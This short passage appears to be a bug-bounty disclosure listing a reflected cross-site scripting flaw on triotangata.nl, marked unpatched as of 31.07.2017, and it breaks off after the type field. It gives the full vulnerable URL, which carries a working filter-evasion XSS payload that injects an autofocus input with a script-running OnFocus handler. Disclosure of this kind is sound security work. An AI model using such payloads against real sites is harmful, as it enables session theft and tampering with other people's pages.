triotangata.nl XSS vulnerability

Vulnerable URL: http://www.triotangata.nl/index.php?id=agenda%3C!%27/!%22/!%27/%22/--!%3E%3CInput/Type=Text%20AutoFocus%20/;%20OnFocus=alertOPENBUGBOUNTY%20//%3E%3CSvg%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability...